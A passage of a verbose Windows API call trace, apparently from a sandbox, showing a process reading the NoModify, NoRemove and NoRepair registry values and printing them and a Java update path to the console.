CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.712] GetConsoleOutputCP () returned 0x1b5 [0149.712] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.712] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.712] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.712] __iob_func () returned 0x7fefd702a80 [0149.712] _fileno (_File=0x7fefd702ab0) returned 1 [0149.712] _errno () returned 0x204bb0 [0149.713] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.713] _errno () returned 0x204bb0 [0149.713] GetFileType (hFile=0x50) returned 0x1 [0149.713] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\LocalLow\\Sun\\Java\\AU\\") returned 47 [0149.713] GetConsoleOutputCP () returned 0x1b5 [0149.713] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\LocalLow\\Sun\\Java\\AU\\", cchWideChar=47, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 47 [0149.713] GetConsoleOutputCP () returned 0x1b5 [0149.713] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\LocalLow\\Sun\\Java\\AU\\", cchWideChar=47, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\aETAdzjz\\AppData\\LocalLow\\Sun\\Java\\AU\\", lpUsedDefaultChar=0x0) returned 47 [0149.713] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 47 [0149.713] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.713] __iob_func () returned 0x7fefd702a80 [0149.713] _fileno (_File=0x7fefd702ab0) returned 1 [0149.713] _errno () returned 0x204bb0 [0149.713] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.713] _errno () returned 0x204bb0 [0149.713] GetFileType (hFile=0x50) returned 0x1 [0149.713] lstrlenW (lpString="\n") returned 1 [0149.713] GetConsoleOutputCP () returned 0x1b5 [0149.713] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.713] GetConsoleOutputCP () returned 0x1b5 [0149.714] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.714] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.714] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.714] GetProcessHeap () returned 0x3c0000 [0149.714] GetProcessHeap () returned 0x3c0000 [0149.714] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.714] GetProcessHeap () returned 0x3c0000 [0149.714] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x64 [0149.714] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0149.714] RegEnumValueW (in: hKey=0x5c, dwIndex=0x9, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoModify", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.714] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.714] GetProcessHeap () returned 0x3c0000 [0149.714] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.714] GetProcessHeap () returned 0x3c0000 [0149.714] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.714] GetProcessHeap () returned 0x3c0000 [0149.714] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.714] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0149.714] __iob_func () returned 0x7fefd702a80 [0149.714] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.714] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.714] _fileno (_File=0x7fefd702ab0) returned 1 [0149.714] _errno () returned 0x204bb0 [0149.714] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.714] _errno () returned 0x204bb0 [0149.714] GetFileType (hFile=0x50) returned 0x1 [0149.714] lstrlenW (lpString=" ") returned 4 [0149.714] GetConsoleOutputCP () returned 0x1b5 [0149.714] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.715] GetConsoleOutputCP () returned 0x1b5 [0149.715] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.715] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.715] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.715] lstrlenW (lpString="NoModify") returned 8 [0149.715] __iob_func () returned 0x7fefd702a80 [0149.715] _fileno (_File=0x7fefd702ab0) returned 1 [0149.715] _errno () returned 0x204bb0 [0149.715] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.715] _errno () returned 0x204bb0 [0149.715] GetFileType (hFile=0x50) returned 0x1 [0149.715] lstrlenW (lpString="NoModify") returned 8 [0149.715] GetConsoleOutputCP () returned 0x1b5 [0149.715] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0149.715] GetConsoleOutputCP () returned 0x1b5 [0149.715] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoModify", lpUsedDefaultChar=0x0) returned 8 [0149.715] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0149.715] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.715] __iob_func () returned 0x7fefd702a80 [0149.715] _fileno (_File=0x7fefd702ab0) returned 1 [0149.715] _errno () returned 0x204bb0 [0149.715] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.715] _errno () returned 0x204bb0 [0149.716] GetFileType (hFile=0x50) returned 0x1 [0149.716] lstrlenW (lpString=" ") returned 4 [0149.716] GetConsoleOutputCP () returned 0x1b5 [0149.716] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.716] GetConsoleOutputCP () returned 0x1b5 [0149.716] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.716] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.716] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.716] __iob_func () returned 0x7fefd702a80 [0149.716] _fileno (_File=0x7fefd702ab0) returned 1 [0149.716] _errno () returned 0x204bb0 [0149.716] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.716] _errno () returned 0x204bb0 [0149.716] GetFileType (hFile=0x50) returned 0x1 [0149.716] lstrlenW (lpString="REG_DWORD") returned 9 [0149.716] GetConsoleOutputCP () returned 0x1b5 [0149.716] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.716] GetConsoleOutputCP () returned 0x1b5 [0149.716] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0149.716] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.716] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.717] __iob_func () returned 0x7fefd702a80 [0149.717] _fileno (_File=0x7fefd702ab0) returned 1 [0149.717] _errno () returned 0x204bb0 [0149.717] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.717] _errno () returned 0x204bb0 [0149.717] GetFileType (hFile=0x50) returned 0x1 [0149.717] lstrlenW (lpString=" ") returned 4 [0149.717] GetConsoleOutputCP () returned 0x1b5 [0149.717] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.717] GetConsoleOutputCP () returned 0x1b5 [0149.717] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.717] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.717] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.717] __iob_func () returned 0x7fefd702a80 [0149.717] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.717] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0149.717] _fileno (_File=0x7fefd702ab0) returned 1 [0149.717] _errno () returned 0x204bb0 [0149.717] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.717] _errno () returned 0x204bb0 [0149.717] GetFileType (hFile=0x50) returned 0x1 [0149.717] lstrlenW (lpString="0x1") returned 3 [0149.717] GetConsoleOutputCP () returned 0x1b5 [0149.718] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0149.718] GetConsoleOutputCP () returned 0x1b5 [0149.718] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0149.718] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0149.718] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.718] __iob_func () returned 0x7fefd702a80 [0149.718] _fileno (_File=0x7fefd702ab0) returned 1 [0149.718] _errno () returned 0x204bb0 [0149.718] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.718] _errno () returned 0x204bb0 [0149.718] GetFileType (hFile=0x50) returned 0x1 [0149.718] lstrlenW (lpString="\n") returned 1 [0149.718] GetConsoleOutputCP () returned 0x1b5 [0149.718] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.718] GetConsoleOutputCP () returned 0x1b5 [0149.718] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.718] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.718] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.718] GetProcessHeap () returned 0x3c0000 [0149.718] GetProcessHeap () returned 0x3c0000 [0149.718] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.718] GetProcessHeap () returned 0x3c0000 [0149.718] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.719] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.719] RegEnumValueW (in: hKey=0x5c, dwIndex=0xa, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoRemove", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.719] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoRemove", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.719] GetProcessHeap () returned 0x3c0000 [0149.719] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.719] GetProcessHeap () returned 0x3c0000 [0149.719] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.719] GetProcessHeap () returned 0x3c0000 [0149.719] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.719] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoRemove", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0149.719] __iob_func () returned 0x7fefd702a80 [0149.719] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.719] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.719] _fileno (_File=0x7fefd702ab0) returned 1 [0149.719] _errno () returned 0x204bb0 [0149.719] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.719] _errno () returned 0x204bb0 [0149.719] GetFileType (hFile=0x50) returned 0x1 [0149.719] lstrlenW (lpString=" ") returned 4 [0149.719] GetConsoleOutputCP () returned 0x1b5 [0149.719] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.719] GetConsoleOutputCP () returned 0x1b5 [0149.719] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.719] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.719] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.719] lstrlenW (lpString="NoRemove") returned 8 [0149.720] __iob_func () returned 0x7fefd702a80 [0149.720] _fileno (_File=0x7fefd702ab0) returned 1 [0149.720] _errno () returned 0x204bb0 [0149.720] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.720] _errno () returned 0x204bb0 [0149.720] GetFileType (hFile=0x50) returned 0x1 [0149.720] lstrlenW (lpString="NoRemove") returned 8 [0149.720] GetConsoleOutputCP () returned 0x1b5 [0149.720] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoRemove", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0149.720] GetConsoleOutputCP () returned 0x1b5 [0149.720] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoRemove", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoRemove", lpUsedDefaultChar=0x0) returned 8 [0149.720] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0149.720] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.720] __iob_func () returned 0x7fefd702a80 [0149.720] _fileno (_File=0x7fefd702ab0) returned 1 [0149.720] _errno () returned 0x204bb0 [0149.720] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.720] _errno () returned 0x204bb0 [0149.720] GetFileType (hFile=0x50) returned 0x1 [0149.720] lstrlenW (lpString=" ") returned 4 [0149.720] GetConsoleOutputCP () returned 0x1b5 [0149.720] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.720] GetConsoleOutputCP () returned 0x1b5 [0149.721] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.721] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.721] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.721] __iob_func () returned 0x7fefd702a80 [0149.721] _fileno (_File=0x7fefd702ab0) returned 1 [0149.721] _errno () returned 0x204bb0 [0149.721] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.721] _errno () returned 0x204bb0 [0149.721] GetFileType (hFile=0x50) returned 0x1 [0149.721] lstrlenW (lpString="REG_DWORD") returned 9 [0149.721] GetConsoleOutputCP () returned 0x1b5 [0149.721] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.721] GetConsoleOutputCP () returned 0x1b5 [0149.721] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0149.721] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.721] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.721] __iob_func () returned 0x7fefd702a80 [0149.721] _fileno (_File=0x7fefd702ab0) returned 1 [0149.721] _errno () returned 0x204bb0 [0149.721] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.721] _errno () returned 0x204bb0 [0149.721] GetFileType (hFile=0x50) returned 0x1 [0149.721] lstrlenW (lpString=" ") returned 4 [0149.721] GetConsoleOutputCP () returned 0x1b5 [0149.722] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.722] GetConsoleOutputCP () returned 0x1b5 [0149.722] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.722] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.722] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.722] __iob_func () returned 0x7fefd702a80 [0149.722] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.722] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0149.722] _fileno (_File=0x7fefd702ab0) returned 1 [0149.722] _errno () returned 0x204bb0 [0149.722] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.722] _errno () returned 0x204bb0 [0149.722] GetFileType (hFile=0x50) returned 0x1 [0149.722] lstrlenW (lpString="0x1") returned 3 [0149.722] GetConsoleOutputCP () returned 0x1b5 [0149.722] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0149.722] GetConsoleOutputCP () returned 0x1b5 [0149.722] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0149.722] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0149.722] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.723] __iob_func () returned 0x7fefd702a80 [0149.723] _fileno (_File=0x7fefd702ab0) returned 1 [0149.723] _errno () returned 0x204bb0 [0149.723] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.723] _errno () returned 0x204bb0 [0149.723] GetFileType (hFile=0x50) returned 0x1 [0149.723] lstrlenW (lpString="\n") returned 1 [0149.723] GetConsoleOutputCP () returned 0x1b5 [0149.723] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.723] GetConsoleOutputCP () returned 0x1b5 [0149.723] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.723] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.723] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.723] GetProcessHeap () returned 0x3c0000 [0149.723] GetProcessHeap () returned 0x3c0000 [0149.723] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.723] GetProcessHeap () returned 0x3c0000 [0149.723] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.723] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.723] RegEnumValueW (in: hKey=0x5c, dwIndex=0xb, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoRepair", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.723] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoRepair", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.723] GetProcessHeap () returned 0x3c0000 [0149.723] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.723] GetProcessHeap () returned 0x3c0000 [0149.723] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.723] GetProcessHeap () returned 0x3c0000 [0149.723] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.724] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoRepair", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0149.724] __iob_func () returned 0x7fefd702a80 [0149.724] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.724] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.724] _fileno (_File=0x7fefd702ab0) returned 1 [0149.724] _errno () returned 0x204bb0 [0149.724] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.724] _errno () returned 0x204bb0 [0149.724] GetFileType (hFile=0x50) returned 0x1 [0149.724] lstrlenW (lpString=" ") returned 4 [0149.724] GetConsoleOutputCP () returned 0x1b5 [0149.724] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.724] GetConsoleOutputCP () returned 0x1b5 [0149.724] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 